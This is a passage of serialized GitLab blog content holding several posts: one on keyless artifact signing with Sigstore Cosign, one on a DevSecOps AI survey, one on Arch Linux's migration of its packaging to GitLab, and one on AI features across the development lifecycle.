teams for years. To address these security issues and ease the administrative burden, GitLab is partnering with Sigstore to use their command-line utility Cosign for [keyless signing and verification](https://docs.gitlab.com/ee/ci/yaml/signing_examples.html), which can be done by adding just a few lines in a yml file.\n\nBefore digging too far into the integration, though, let's take a closer look at some of the issues of traditional key management and some of the benefits of keyless signing.\n\n## Traditional key management\nCryptographic keys have been a mainstay of securing software and network elements for years. Traditional key management involves the generation, storage, distribution, and protection of cryptographic keys that are essential for processes like encryption, decryption, and digital signing. While these methods have worked well over the years, they pose challenges that can impact security and operational efficiency.\n\n* Complexity and risk of exposure: Generating, storing, and distributing cryptographic keys manually can be error-prone and time-consuming. This complexity increases the risk of key exposure due to mismanagement or vulnerabilities in the key storage systems.\n\n* Security risk: Risk that the key management system (KMS) might be compromised and the private key leaked. There is no way for users to verify that the public key has not been tampered with or modified.\n\n* Key rotation complexity: Regular key rotation is a security best practice, but it can be complex to manage, especially when dealing with large numbers of keys. Key rotation will often disrupt applications.\n\n* Key revocation: Revoking access to keys that are no longer needed or that have been compromised can be challenging, especially if those keys are widely used across different parts of your application.\n\n* Integration complexity: Integrating your application with a KMS can introduce complexity. If your application is distributed or consists of microservices the complexity increases.\n\n* Key distribution: There is no standard way of distributing public keys. A system for distribution must be selected and secure, and if that system is compromised the public key must be changed.\n\n![A diagram of how traditional key management works](https://about.gitlab.com/images/blogimages/traditionalkeymanagement.png){: .shadow}\n\nHow traditional key management works\n{: .note.text-center}\n\n## The move to keyless signing\nRecently, the industry has been making a push towards keyless signing. With keyless signing, a message is signed using an ephemeral key that is generated and used for signing. The key is only valid for a few minutes, greatly reducing the complexity and security issues associated with traditional key management.\n\nKeyless signing has several advantages. \n* Enhanced security: Keyless signing removes the need to store private keys on user devices, reducing the risk of exposure to malware or unauthorized access. \n\n* Simplified key management: With keyless signing, the complexities of key generation, distribution, and rotation are abstracted, leading to simplified key management processes. This streamlines operational workflows and reduces the potential for human error.\n\n* Audit trail: Keyless signing systems provide comprehensive audit trails and logging. Artifact verification is possible since public keys cannot be tampered with.\n\n* Remote signing and access: Keyless signing allows remote signing operations, enabling users to sign documents and transactions securely from anywhere. This capability enhances accessibility and collaboration without sacrificing security.\n\n* Regulatory compliance: The audit trails and accountability provided by keyless signing solutions facilitate regulatory compliance. With keyless signing, organizations can more confidently meet industry standards and demonstrate their commitment to secure practices.\n\n\n![A diagram of how keyless signing works](https://about.gitlab.com/images/blogimages/keylesssigningdiagram.png){: .shadow}\n\nHow keyless signing works\n{: .note.text-center}\n\n## Keyless signing within GitLab\nGitLab has partnered with one of the leaders in the keyless signing space, Sigstore, to help customers move away from traditional keys and easily make the transition to keyless signing.  \n\nThe Sigstore project provides a command-line utility called Cosign, which can be used for keyless signing of container images built with the GitLab CI/CD. By adding a few lines of code to the GitLab yml file, GitLab users can use Cosign to leverage the benefits of keyless signing. Sigstore’s Cosign enables software developers to sign release files, binaries, and other software artifacts.  \n\nOnce enabled within GitLab, when a user runs a pipeline, Cosign requests a short-lived key pair to use for signing, records it on a certificate transparency log (Rektor), and then discards it. The key is generated through a token obtained from the GitLab server using the [OIDC](https://docs.gitlab.com/ee/administration/auth/oidc.html) identity of the user who ran the pipeline. This token includes unique claims that certify the token was generated by a CI/CD pipeline. The private key only lasts for a short time so there is no need to store it or rotate it. With Cosign, verification data, including the public key, signature, and signing timestamp, is written to the immutable Rektor log (an append-only transparency ledger) so that signing events can be publicly audited. Users can then verify the binary and signature against the public key.\n\nThe whole process is quick and easy and greatly increases system-wide security. With this integration, there is no longer a need to set up a key management system, no longer a need to rotate keys, and no longer a need to distribute public keys. Life is simpler and more secure!\n\n## Next steps\nThis feature is now available on all tiers of GitLab SaaS.\n\nWatch a setup demo here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Ws2D77n4nAg?si=jhDRWXH7oJEwvyLS\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nFor more details, check out [Sigstore’s keyless signature documentation](https://docs.sigstore.dev/#how-sigstore-works) and then start your [free trial of GitLab Ultimate](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com).\n\n\n\n\n\n",[674,736,282,232],{"slug":8552,"featured":6,"template":678},"keyless-signing-with-cosign","content:en-us:blog:keyless-signing-with-cosign.yml","Keyless Signing With Cosign","en-us/blog/keyless-signing-with-cosign.yml","en-us/blog/keyless-signing-with-cosign",{"_path":8558,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8559,"content":8564,"config":8571,"_id":8573,"_type":16,"title":8574,"_source":17,"_file":8575,"_stem":8576,"_extension":20},"/en-us/blog/gitlab-global-devsecops-ai-report",{"title":8560,"description":8561,"ogTitle":8560,"ogDescription":8561,"noIndex":6,"ogImage":7670,"ogUrl":8562,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8562,"schema":8563},"GitLab DevSecOps AI Report: A new software development era","Our survey found that DevSecOps teams are optimistic about AI, but privacy, security, and training emerged as key challenges to successful AI adoption.","https://about.gitlab.com/blog/gitlab-global-devsecops-ai-report","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Global DevSecOps AI Report: Ushering in a new era of software development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ashley Kramer\"}],\n        \"datePublished\": \"2023-09-12\",\n      }",{"title":8565,"description":8561,"authors":8566,"heroImage":7670,"date":8567,"body":8568,"category":791,"tags":8569},"GitLab Global DevSecOps AI Report: Ushering in a new era of software development",[4671],"2023-09-12","\nAI has taken the world by storm, creating a tectonic shift across industries and society as a whole. With it, important discussions have emerged about its beneficial applications and the potential for negative repercussions, especially in the field of software development. AI is already changing how software is designed, built, secured, and deployed. With all of the industry buzz around the technology, it’s more important than ever to separate the hype from reality. \n\nThat’s why I’m pleased to share that GitLab has recently released its [Global DevSecOps Report: The State of AI in Software Development](https://about.gitlab.com/developer-survey/#ai). With this survey, we had one goal in mind: to uncover whether AI is living up to its promise. We surveyed more than 1,000 global senior technology executives, developers, and security and operations professionals to understand how organizations use AI in software development today, and what they hope to achieve with it in the future.\n\nMany of the sentiments reflected in the report echo what I hear firsthand from customers across industries and across the world: An eagerness to harness the benefits of AI for business innovation, while remaining cautious of potential risks. \n\nPerhaps unsurprisingly, privacy and security, productivity, and training emerged as key challenges to successful AI adoption. Organizations recognize that the policies and strategies put into place now, and the ways in which we shift our workflows to incorporate AI, will shape the future of software development. \n\nLet’s dive into a few of the key findings.\n\n> Download the full [Global DevSecOps Report: The State of AI in Software Development](https://about.gitlab.com/developer-survey/#ai).\n\n## As the excitement around AI increases, so do security concerns\nSecurity and privacy are top concerns, but they don’t detract from the urgency to implement AI. While 83% of those surveyed said that implementing AI in their software development processes is essential to avoid falling behind, 79% noted that they are concerned about AI tools having access to private information or intellectual property.\n\nThe top concern, by far, is the potential for sensitive information such as customer data being exposed (72%), and nearly half of respondents (48%) said they were concerned that trade secrets may be exposed. \n\nSimilarly, when it comes to the biggest concerns around introducing AI into the software development lifecycle, 48% said that AI-generated code may not be subject to the same copyright protection as human-generated code.\n\nGiven these results, it’s not surprising that 95% of senior technology executives said they prioritize privacy and protection of intellectual property when selecting an AI tool.\n\nTo safely benefit from AI, organizations can avoid pitfalls, including data leakage and security vulnerabilities, by first deploying it in a low-risk environment in their organization. This enables teams to learn by trial and error and build best practices before allowing additional teams to adopt AI, ensuring it scales safely and sustainably. \n\n## AI is poised to increase the productivity of some teams — and increase the workload of others\nDifferent business functions have different goals and use cases for AI, highlighting conflicting areas of opportunity and concern. \n\nOur survey findings show that 40% of security practitioners are worried that AI-powered code generation will increase their workload. However, code generation is just one of many areas where AI can add value. In our survey, developers told us that they spend only 25% of their total time writing code. The rest is spent improving existing code, understanding code, testing and maintaining code, and identifying and mitigating security vulnerabilities. Organizations stand to see major productivity and collaboration benefits by applying AI across the software development lifecycle.\n\t\t\t\nApproximately 50% of respondents expressed interest in AI-powered use cases across the software development lifecycle beyond code generation. In other words, there’s a strong appetite for more — and more integrated — AI spanning the breadth of the software development lifecycle. \n\n## Companies and employees are at odds over how to bridge the AI skills gap \nWhile organizations reported optimism about their company’s use of AI, our survey shows a discrepancy between organizations’ and practitioners’ satisfaction with AI training resources. \n\nDespite 75% of respondents saying their organization provides training and resources for using AI, a roughly equal proportion also said they are finding resources on their own, suggesting that the available resources and training within organizations may be insufficient. \n\nWith AI introducing a new set of skills to learn, 34% of respondents said they need training to use or interpret AI, and developers were significantly more likely to lack confidence in AI-generated output than either security or operations respondents (38% compared to 28% and 28%, respectively). \n\nOrganizations should focus on providing AI training and resources to all job roles and functional areas that will be using AI, and it is especially important to ensure that the resources for development teams are relevant, up to date, and cover the latest AI technologies and applications.\n\n## But wait, there’s more\nThese findings reinforce that for organizations to benefit from AI, it needs to be secure and delivered in a single application that is embedded across the entire software development lifecycle. \n\nThese core tenets guide our vision for the future of the GitLab AI-powered DevSecOps platform and [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI capabilities that enables organizations to boost efficiency, productivity, and collaboration. Only by adopting a privacy-first, integrated approach to implementing AI can organizations be confident that their intellectual property is safe while empowering everyone to deliver better, more secure software faster. \n\nTo explore the full report, [download the Global DevSecOps Report: The State of AI in Software Development](https://about.gitlab.com/developer-survey/#ai).\n",[943,790,8570],"developer survey",{"slug":8572,"featured":6,"template":678},"gitlab-global-devsecops-ai-report","content:en-us:blog:gitlab-global-devsecops-ai-report.yml","Gitlab Global Devsecops Ai Report","en-us/blog/gitlab-global-devsecops-ai-report.yml","en-us/blog/gitlab-global-devsecops-ai-report",{"_path":8578,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8579,"content":8584,"config":8590,"_id":8592,"_type":16,"title":8593,"_source":17,"_file":8594,"_stem":8595,"_extension":20},"/en-us/blog/migrating-arch-linux-packaging-infrastructure-gitlab",{"title":8580,"description":8581,"ogTitle":8580,"ogDescription":8581,"noIndex":6,"ogImage":831,"ogUrl":8582,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8582,"schema":8583},"Migrating Arch Linux's packaging infrastructure to GitLab","Arch Linux developer Levente Polyak explains how the project recently migrated its packaging infrastructure to GitLab and what Arch Linux gained as a result.","https://about.gitlab.com/blog/migrating-arch-linux-packaging-infrastructure-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrating Arch Linux's packaging infrastructure to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Levente Polyak\"}],\n        \"datePublished\": \"2023-09-11\",\n      }",{"title":8580,"description":8581,"authors":8585,"heroImage":831,"date":8587,"body":8588,"category":813,"tags":8589},[8586],"Levente Polyak","2023-09-11","\nThree years ago, the Arch Linux community began a migration to the GitLab DevSecOps Platform to modernize our software development tooling and processes.\nWe recently announced a major moment on that journey: [migrating our entire packaging toolchain to Git and GitLab](https://archlinux.org/news/git-migration-completed/).\nThis move completely reshaped our packaging workflow, tooling, and storage — the very backbone of our package creation process.\n\nThe move has been pivotal for our continued success as a project.\nOur [package repositories](https://archlinux.org/packages/) contain nearly 14,000 packages at the time of this writing, and [GitLab's collaborative features](/pricing/feature-comparison/) empower our package maintainers to seamlessly collaborate, promoting efficient and effective teamwork.\nUsing GitLab as a central platform also enhances visibility across the project.\nWe can now effortlessly trace the history of changes, collaborate on enhancements and bugs, and follow the evolution of each package — all in a single place.\n\n> [Join GitLab at Open Source Summit Europe 2023](https://go.gitlab.com/dPQ92t) to learn more about our dedication to open source.\n\nI'm a devoted free open source software engineer and currently have the privilege of serving as the project leader of Arch Linux.\nIn this article, I'll explain how and why we undertook this complex, but ultimately worthwhile, endeavor.\n\n## Understanding Arch Linux's infrastructure\nTo understand the complexity of this migration, you'll first need to understand the history of Arch's infrastructure.\n\nCentral to our distribution are our [PKGBUILD](https://wiki.archlinux.org/title/PKGBUILD) packaging sources, which are the essential blueprints that shape each package installable with [pacman](https://archlinux.org/pacman/) from our official repositories. Previously, our [packaging infrastructure](https://wiki.archlinux.org/title/Creating_packages) relied on [Subversion](https://subversion.apache.org/) for managing our packaging sources.\n\nFor more than a decade of [Arch Linux's development](https://archlinux.org/releng/releases/), Subversion served as a reliable companion for working with our packaging source code. However, the open source software development landscape has transformed significantly since the advent of the Arch Linux project; technologies have advanced and collaboration dynamics have evolved (note, for example, the popularization of [DevOps](https://about.gitlab.com/topics/devops/) processes and practices).\n\nRecognizing the need to adapt and optimize, we started a journey that would shape the future of how members of the Arch Linux community work together. To enhance collaboration and pave the way for future improvements to Arch, we decided to undertake migration of our packaging sources to individual Git repositories, and we chose to host them with GitLab.\n\n## Migrating 14,000 Arch Linux packages\nThis would be no small task.\nCurrently, the Arch Linux community maintains 13,930 installable packages, all of which are now managed in 12,138 individual Git repositories.\nBut we knew the benefits would be worth the effort involved in such an enormous migration.\n\nFor example, one of the standout advantages of Git is its ability to empower packagers with a new level of insight into their work.\nThe ease of inspecting local history would become a game-changer, especially as packaging evolved into a collective effort, with multiple maintainers collaborating to refine and enhance individual packages (Subversion requires a client-server connection to inspect the history).\n\nBut the decision to migrate was not just about adopting Git.\nIt also reflected our aspiration to provide our community with an environment that fosters extensive collaboration. Our history with Subversion had shown its limitations in this regard (more on that in a moment).\nThe synergy between Git packaging repositories and the GitLab platform was evident; it opened doors to enhanced collaboration, offered powerful version control features, and laid the groundwork for more efficient packaging processes.\n\nThe migration of Arch Linux's packaging infrastructure to GitLab was the pinnacle of several factors aligning perfectly.\nThe need for a more robust collaboration platform, the growing prominence of Git, and the desire to utilize the benefits of modern version control converged to make this move a natural progression for Arch.\n\nWe decided it was time to get it done.\n\n## Three years and a weekend\nArch Linux has been gradually adopting and migrating operations to GitLab over the course of three years.\nExtending that migration to our packaging infrastructure was the next vital step of the process — and the pivotal moment of switching to GitLab hosting and workflow for packaging occurred within [the span of a single weekend](https://archlinux.org/news/git-migration-announcement/).\n\nA change of this magnitude touches the very core of our distribution, and it was only possible with thorough, meticulous preparation.\nFor weeks, our migration team diligently crafted [a runbook](https://md.archlinux.org/utjjQ-bQTsipIKntPrpf8g#) that ensured every major aspect and change were considered, minimizing risk and boosting our confidence.\n\nWhen our concentrated migration effort began, the migration team focused entirely on this rollout, everyone collaborating in a [Jitsi](https://meet.jit.si/) video call with screen sharing.\nThe strategic choice of a weekend for performing the migration aligned perfectly with our volunteer-driven community, offering sufficient time for a buffer and quick resolution to any unforeseen hiccups.\n\nThe first challenge was transferring our extensive Subversion history to GitLab. For some time, we had been running `git-svn` with a timer to be able to provide some packaging history to another repository.\nOur [custom tooling](https://gitlab.archlinux.org/archlinux/arch-svn-package-to-git/) made use of `git-svn` imports, which was a gigantic monorepo containing all packages as individual branches.\n\nOur migration solution was a carefully crafted script that used [git-filter-repo](https://github.com/newren/git-filter-repo), of which we could run several instances in parallel and which also supported the ability to convert only repositories that changed since the last run (determined by deltas).\nThe script also filtered history, commit messages, rewrote author data to incorporate our GitLab user handles, filtered unwanted files, and more.\nAdditionally, we tagged all previous releases where we could determine the origin of the exact commit.\n\nBut the migration wasn't confined to a mere transfer of Subversion history to GitLab; it involved revisiting workflows, tools, and all software that interacted *with* the version control system.\nFrom redefining workflows to embracing new tools, every step was vital to ensuring that Arch Linux developed in a coherent way.\n\nWe also wanted to seize the moment as an opportunity to reimagine and revamp package maintainer tooling.\nSo we also created [pkgctl](https://man.archlinux.org/man/pkgctl.1.en), a modern interface that not only refreshed and streamlined our tooling but also enhanced user and contributor experience.\n\nFortunately, the entire migration flowed seamlessly.\nBy the end of the weekend, we had succeeded.\n\n## Benefits of a journey with GitLab\nOur packaging migration was the latest milestone in Arch Linux's overall journey with GitLab.\nMigrating our packaging infrastructure to GitLab allows us to maximize and enjoy those improvements even more.\n\nSince the Arch Linux community began [migrating to GitLab in 2020](https://gitlab.com/gitlab-com/marketing/developer-relations/open-source-program/gitlab-open-source-partners/community-support/-/issues/11), Arch maintainers and contributors have enjoyed a significantly improved experience interacting with and contributing to the project.\nThe advantages not only enhance our current workflows but also open up exciting possibilities for the future.\n\nHere's a rundown of the benefits we've seen from our overall migration so far.\n\n### Deeper collaboration\nBefore the migration, for example, lack of a dedicated collaborative platform for our packaging sources posed challenges to both users and package maintainers. While [Flyspray](https://wiki.archlinux.org/title/Flyspray), our bug tracker, was valuable, its scope was limited to tracking issues rather than facilitating meaningful collaboration.\nProposed changes were often submitted as patch files in attachments, resulting in a cumbersome experience for users suggesting improvements and maintainers reviewing these changes.\n\nThe process of iterating through these patch files was tedious because we lacked the ability to comment on specific lines (not to mention the ability to discuss diverse sub-topics in individual threads).\n\nToday, GitLab's standard [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/) feature has improved this process dramatically. It helps us collaborate smoothly, allowing [threaded discussions](https://docs.gitlab.com/ee/user/discussions/index.html), precise comments, and [code suggestions](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/suggestions.html) on individual code segments. Although merge requests are a simple, staple feature, their impact on streamlining our processes is invaluable, serving as the bedrock of GitLab's collaborative strength.\n\nThe ability to seamlessly integrate issue tracking and merge requests within the same platform fosters a more cohesive and efficient workflow for our entire community. We're looking forward to tracking and managing packaging-related issues, bugs, and enhancements directly within GitLab soon.\n\n### Better automation\nOur use of [GitLab CI/CD](https://docs.gitlab.com/ee/ci/) has played a crucial role in automating our development work across our software projects.\n\nWe utilize CI/CD pipelines for everything from running tests to auditing dependencies—even publishing release artifacts, such as Rust crates, automatically using a tag pipeline. The efficiency we gain through this functionality is invaluable for ensuring the integrity and quality of our projects. We've realized some security improvements, too. Automating our usage of dependencies means we become aware of tracked security issues in our software projects used dependencies via commit pipelines, as well as scheduled pipelines (so we can bump and potentially deploy/release our software projects in case its necessary).\n\n### Stronger community\nAdopting GitLab has helped us better serve our community. The [Service Desk feature](https://docs.gitlab.com/ee/user/project/service_desk/) has emerged as a game-changer, offering a streamlined channel to manage specific user requests.\nThis integration with GitLab enhances the workflow without sacrificing overview.\n\nAnd recently, we've significantly increased our use of [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/).\nWe rely on Pages for publishing documentation, monthly reports, our Web Key Directory and static sites, and we're enthusiastic about expanding its application in the future.\n\n## More than new tools\nArch Linux's migration wasn't just about adopting the latest tools. Our motivation for migrating — and the positive consequences of the upgrade — reflect the values of open source communities like ours, where working together is essential for moving forward.\nBy adopting GitLab, Arch Linux is improving our project's overall atmosphere, creating a space where contributions are welcomed, reviewed, and integrated more easily, and in a way that conforms to contemporary best practices.\n\nWe're proud to be [GitLab Open Source Partners](https://go.gitlab.com/BM5JwV), and we extend our gratitude to GitLab for providing a platform that seamlessly aligns with our vision.\n\n[Join GitLab at Open Source Summit Europe 2023](https://go.gitlab.com/dPQ92t) to learn more about our dedication to open source.\n{: .note}\n",[815,267,754],{"slug":8591,"featured":6,"template":678},"migrating-arch-linux-packaging-infrastructure-gitlab","content:en-us:blog:migrating-arch-linux-packaging-infrastructure-gitlab.yml","Migrating Arch Linux Packaging Infrastructure Gitlab","en-us/blog/migrating-arch-linux-packaging-infrastructure-gitlab.yml","en-us/blog/migrating-arch-linux-packaging-infrastructure-gitlab",{"_path":8597,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8598,"content":8604,"config":8609,"_id":8611,"_type":16,"title":8612,"_source":17,"_file":8613,"_stem":8614,"_extension":20},"/en-us/blog/modern-software-development-problems-require-modern-ai-powered-devsecops",{"title":8599,"description":8600,"ogTitle":8599,"ogDescription":8600,"noIndex":6,"ogImage":8601,"ogUrl":8602,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8602,"schema":8603},"Modern software development problems require modern AI-powered DevSecOps","Learn how applying AI can help solve common development challenges.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662840/Blog/Hero%20Images/ai-experiment-stars.png","https://about.gitlab.com/blog/modern-software-development-problems-require-modern-ai-powered-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Modern software development problems require modern AI-powered DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Arias\"}],\n        \"datePublished\": \"2023-09-07\",\n      }",{"title":8599,"description":8600,"authors":8605,"heroImage":8601,"date":8606,"body":8607,"category":791,"tags":8608},[8213],"2023-09-07","\nThe landscape of software development is already being impacted by the integration of AI tools. GitLab is making that impact a positive one. Infusing AI throughout the software development lifecycle lowers the barrier for everyone to contribute. Let's take a look how organizations can evolve the idea _\"every company is a software company\"_ into _\"every company should be an AI-first company\"_ and how this transformation can happen by embracing AI-powered DevSecOps.\n\nAn effective way to demonstrate how AI can be a game-changer for software development teams is to walk through a detailed scenario. In this example, you'll see how applying [GitLab Duo](https://about.gitlab.com/gitlab-duo/), the suite of AI capabilities powering workflows, to a dilemma that many organizations face – how to automate complex customer-facing tools – can improve the experience for DevSecOps teams and customers alike.\n\n## Challenge: Keeping customer Q&A systems from going stale\nImagine a large financial services firm has an extensive FAQ section on its website but keeping that information up to date and easy to navigate has become increasingly difficult. Also, the FAQs don't cover queries that are less frequent but should be easy to respond to.\n\n![FAQ](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/faq-improved.gif)\n\nTo resolve this, the company proposed building an AI-enabled Q&A system that not only answers common queries but also other finance-related questions. The process to build the AI-enabled system described above can look like this:\n\n![process](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/process-demo.png)\n\n### Problem definition and collaboration\nThe journey begins with a GitLab issue. This is where the team collaborates, discusses ideas, and brainstorms to define the problem and scope of work. Collaborating on solving the Q&A system problem results in a lengthy issue thread where it can be challenging to quickly understand the status of the work. Anyone new to the issue or even current participants may need to spend considerable time reading comments to get an overview of the problem status and the decisions that have been made. AI-driven text summarization simplifies understanding of the comments, allowing developers and business teams to align on the problem and requirements.\n\n![AI-driven text summary](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/summary-hd.png)\n\nText summarization applied to issue comments \n{: .note.text-center}\n\nGitLab provides an AI-generated summary right in the issue where all the collaboration took place, thus helping development teams to get an overview of the main points and takeaways. The AI-generated summary enables developers and other team members to quickly extract and review key points from the issue without having to read through long conversations.\n\n### Solution development\nThe proposed solution involves leveraging a large language model (LLM) to build a Q&A system. The AI-generated summary allows developers to quickly break down the requirements and store them in GitLab using [Requirements management](https://docs.gitlab.com/ee/user/project/requirements/).  The requirements are stored as easy-to-understand items with their own criteria of success and expected behavior as depicted in the figure below:\n\n![requirements](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/requirements.png)\n\nAI Q&A system requirements in GitLab \n{: .note.text-center}\n\nHaving clear requirements is key to starting implementation of a successful solution, creating a [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/), and iterating on the solution to the problem.\n\nWhile working towards a solution, GitLab Duo Code Suggestions can help developers focus. Leveraging generative AI, Code Suggestions provides relevant suggestions reducing time spent on repetitive or common code. This frees up developers to focus their efforts on complex problems that require deeper understanding of the codebase and business logic. \n\n![code-suggestions](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/code-suggestion.png)\n\nGenerated code speeds up development\n{: .note.text-center}\n\nDevelopers get code suggestions inline in their integrated development environment, or IDE, as they type or after prompting the model with code comments. The suggestions are predicted based on the code written before the cursor and the file extension of the script.\n\n### Efficient code review\nLet's consider that, until this point, developers working on the AI-enabled Q&A system have committed code contributions to build the solution. And it is also evident that infusing AI into the software development lifecycle has allowed the team to move faster. To move faster without compromising quality, however, it’s important to carry out code reviews on all the contributions done so far by the development team. Code reviews help developers share knowledge and maintain high-quality software. Companies like the one in this scenario might have a large number of developers, and identifying suitable reviewers can be challenging and time consuming. To resolve this, the company can leverage [GitLab Duo Suggested Reviewers](https://about.gitlab.com/gitlab-duo/). This feature employs machine learning to suggest the most relevant code reviewers, streamlining and speeding up the review process. \n\n![suggested-reviewers](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/suggested-review-sa.png)\n\nSuggested reviewers appear in the reviewer dropdown\n{: .note.text-center}\n\nThe machine learning algorithm that powers Suggested Reviewers learns from the project’s contribution graph data; the suggestions it generates are contextual to the changes made in the code.   \n\n### Code review summarization and test generation\nAI-driven text summarization helps in understanding suggested code changes derived from the code review at a glance. In our scenario, once the appropriate reviewer has been chosen, this person can go through the code and submit comments, propose changes, or identify potential edge cases that may have been overlooked. Getting a quick summary of all the suggested code changes before diving into the details can potentially speed up software delivery.\n\n![mr-summary](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/MR-Summary.png)\n\nCode Review summary\n{: .note.text-center}\n\nAs part of the review, it is important to make sure that all the functions have been tested. If there was the case of an overlooked test, once again it is possible to leverage generative AI within GitLab to create [test cases](https://docs.gitlab.com/ee/ci/test_cases/).\n\n![suggest-test-cases](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/suggest-test-cases.png)\n\nTest cases generated by AI\n{: .note.text-center}\n\nIn the figure below, we see the test code generated by AI. This provides helpful assertions that can also serve as an inspiration for discovering edge cases that might have not been considered before.\n\n![test cases](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/test-cases-created.png)\n\nSuggested test cases\n{: .note.text-center}\n\nThis solidifies the quality of the project codebase, closing the loop of efficient code reviews.\n\n### Minimizing context switching\nAllowing developers to obtain guidance and answers to GitLab-related questions without leaving the platform can be achieved by interacting with GitLab Duo Chat functionality.This AI-powered feature reduces context switching and enables developers or other team members to ask open questions and request information using natural language. Let's assume that a developer wasn't exactly sure how to leverage AI to generate test cases like the ones requested during the code review. Using GitLab Duo Chat, the developer can ask how to achieve exactly that without having to leave the platform, as depicted in the figure below:\n\n![GitLab Duo Chat](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/chat.png)\n\nGitLab Duo Chat\n{: .note.text-center}\n\nInteracting with the platform using natural language provides a convenient way to achieve results and get things done while minimizing context switching, improving the software delivery experience and speed. Now, speaking of speed, let's dive into the realm of continuous integration/continuous delivery and deployment (CI/CD).\n\n### GitLab CI/CD \nThe AI-infused DevSecOps approach described so far aligns and enhances CI/CD methodologies. The financial services company in this scenario uses these continuous methodologies to deliver software faster since these are proven ways to automatically build, test, secure, and deploy software.\n\n![chatbot-pipeline](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/pipelines.png)\n\nGitLab CI/CD pipeline\n{: .note.text-center}\n\nThe figure above depicts the CI/CD pipeline that is triggered and used in the development of our LLM Financial Q&A system. The jobs it executes are:\n\n- Build: creates the container with its respective code and dependencies\n- Test: unit testing and security scanners, which help ensure that no code vulnerabilities are being introduced \n- Deploy: puts the solution in the hands of end users\n\nOnce the solution is deployed, end users can ask questions to it, and the FAQ problem can be considered solved.\n\n![chatbot](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/chatbot.gif)\n\nThe AI touchpoints explored in this scenario and that led to the faster development of our AI-powered Q&A system are seamlessly integrated within DevSecOps methodologies, enhancing the development and operations experience.\n\n![devsecops-ml](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/devsecops-embedded.png)\n\nUltimately, this increases the likelihood of a successful and secure deployment of the AI-powered Q&A system.\n\n### Recap\nGoing back to the process overview, in the following table we see how the different AI touchpoints are used throughout the software development lifecycle.\n\n|  | What AI-powered DevSecOps can do for you | Feature |\n| ------ | ------ | ------ |\n|![brainstorming](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/brainstorm.png) | AI generates a summary of the discussions and provide the most relevant information for your team to move forward in the solution development   |[Summarize issues](https://docs.gitlab.com/ee/user/ai_features.html#summarize-issue-discussions)       |\n|![requirements](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/solution-requirements.png)       | The team agrees on a chatbot and break down the application requirements and set criteria it must fulfill       |  [Requirements management](https://docs.gitlab.com/ee/user/project/requirements/)       |\n|![develop](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/develop.png)        | Developers leverage Code Suggestions to speed up code and generate tests       |   [Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html)     |\n|![reviewer](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/suggested-reviewer.png)        | Quickly find the most suitable person to review code changes and move on in the delivery process       |  [Suggested Reviewers](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/data_usage.html#:~:text=Suggested%20Reviewers%20is%20the%20first,and%20GitLab%20user%20account%20metadata.)      |\n|![code-review](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/review.png)        |  Summarize Merge Request, which includes code summary, helps contributors understand the most important changes that need to be addressed      | [Summarize Merge Request](https://docs.gitlab.com/ee/user/ai_features.html#summarize-merge-request-changes)      |\n|![pipeline](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/buildtest.png)        | CI/CD and integrated security       |   [CI/CD testing](https://docs.gitlab.com/ee/ci/testing/)    |\n|![deploy](https://about.gitlab.com/images/blogimages/2023-07-24-modern-problems-modern-devsecops/deploy.png)        | Kubernetes agent, and multi-cloud deployments      |  [Kubernetes integration](https://docs.gitlab.com/ee/user/clusters/agent/)      |\n\nWatch the video walkthrough of the financial services scenario:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/LifJdU3Qagw?si=fpfvuhJQ_jYmYrT2\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nAs organizations 